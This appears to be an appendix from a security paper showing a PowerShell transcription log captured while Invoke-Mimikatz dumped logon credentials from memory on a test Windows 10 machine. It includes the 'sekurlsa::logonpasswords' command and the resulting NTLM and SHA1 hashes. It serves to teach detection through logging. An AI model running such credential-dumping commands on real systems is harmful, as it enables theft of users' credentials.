Appendix C: PowerShell Transcription

Figure 5 displays a sample PowerShell transcript generated when running the popular `Invoke-Mimikatz` script, with the `-DumpCreds` argument, which is used to steal logon credentials from memory.

```
**********************
Windows PowerShell transcript start
Start time: 20160108182439
Username: DESKTOP-RMJCHH3\me
RunAs User: DESKTOP-RMJCHH3\me
Machine: DESKTOP-RMJCHH3 (Microsoft Windows NT 10.0.10586.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 4904
PSVersion: 5.0.10586.0
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0.10586.0
BuildVersion: 10.0.10586.0
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="Specified cast is not valid."
Specified cast is not valid.
At C:\users\me\m.ps1:2237 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException
Specified cast is not valid.
At C:\users\me\m.ps1:2237 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException
Specified cast is not valid.
At C:\users\me\m.ps1:2237 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException


  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                 with 15 modules * * */


mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 193114 (00000000:0002f25a)
```

```
Session           : Interactive from 1
User Name         : me
Domain            : DESKTOP-RMJCHH3
SID               : S-1-5-21-3432306013-2099639235-1280950563-1001
       msv :
        [00000003] Primary
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Flags    : 00/N01/L00/S01/00/00/00/00
        * NTLM     : 89e8c08c50f67f0970f2e5c4adf4ac79
        * SHA1     : defc430d825dc84461199d2b8602d8d23ea279cb
        * unknow   : [0..0]
        [00010000] CredentialKeys
        * NTLM     : 89e8c08c50f67f0970f2e5c4adf4ac79
        * SHA1     : defc430d825dc84461199d2b8602d8d23ea279cb
       tspkg :
       wdigest :
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Password : (null)
       kerberos :
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Password : (null)
       ssp :  KO
       credman :

Authentication Id : 0 ; 193076 (00000000:0002f234)
Session           : Interactive from 1
User Name         : me
Domain            : DESKTOP-RMJCHH3
SID               : S-1-5-21-3432306013-2099639235-1280950563-1001
       msv :
        [00010000] CredentialKeys
        * NTLM     : 89e8c08c50f67f0970f2e5c4adf4ac79
        * SHA1     : defc430d825dc84461199d2b8602d8d23ea279cb
        [00000003] Primary
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Flags    : 00/N01/L00/S01/00/00/00/00
        * NTLM     : 89e8c08c50f67f0970f2e5c4adf4ac79
        * SHA1     : defc430d825dc84461199d2b8602d8d23ea279cb
        * unknow   : [0..0]
       tspkg :
       wdigest :
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Password : (null)
       kerberos :
        * Username : me
        * Domain   : DESKTOP-RMJCHH3
        * Password : (null)
       ssp :  KO
       credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
```

```
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
SID               : S-1-5-19
       msv :
       tspkg :
       wdigest :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       kerberos :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       ssp :  KO
       credman :

Authentication Id : 0 ; 63955 (00000000:0000f9d3)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
SID               : S-1-5-90-0-1
       msv :
       tspkg :
       wdigest :
        * Username : DESKTOP-RMJCHH3$
        * Domain   : WORKGROUP
        * Password : (null)
       kerberos :
       ssp :  KO
       credman :

Authentication Id : 0 ; 63458 (00000000:0000f7e2)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
SID               : S-1-5-90-0-1
       msv :
       tspkg :
       wdigest :
        * Username : DESKTOP-RMJCHH3$
        * Domain   : WORKGROUP
        * Password : (null)
       kerberos :
       ssp :  KO
       credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DESKTOP-RMJCHH3$
Domain            : WORKGROUP
SID               : S-1-5-20
       msv :
       tspkg :
       wdigest :
        * Username : DESKTOP-RMJCHH3$
        * Domain   : WORKGROUP
        * Password : (null)
```

```
       kerberos :
        * Username : desktop-rmjchh3$
        * Domain   : WORKGROUP
        * Password : (null)
       ssp :  KO
       credman :

Authentication Id : 0 ; 40790 (00000000:00009f56)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
SID               :
       msv :
       tspkg :
       wdigest :
       kerberos :
       ssp :  KO
       credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DESKTOP-RMJCHH3$
Domain            : WORKGROUP
SID               : S-1-5-18
       msv :
       tspkg :
       wdigest :
        * Username : DESKTOP-RMJCHH3$
        * Domain   : WORKGROUP
        * Password : (null)
       kerberos :
        * Username : desktop-rmjchh3$
        * Domain   : WORKGROUP
        * Password : (null)
       ssp :  KO
       credman :

mimikatz(powershell) # exit
Bye!
```

Figure 5: `Invoke-Mimikatz` Transcription Example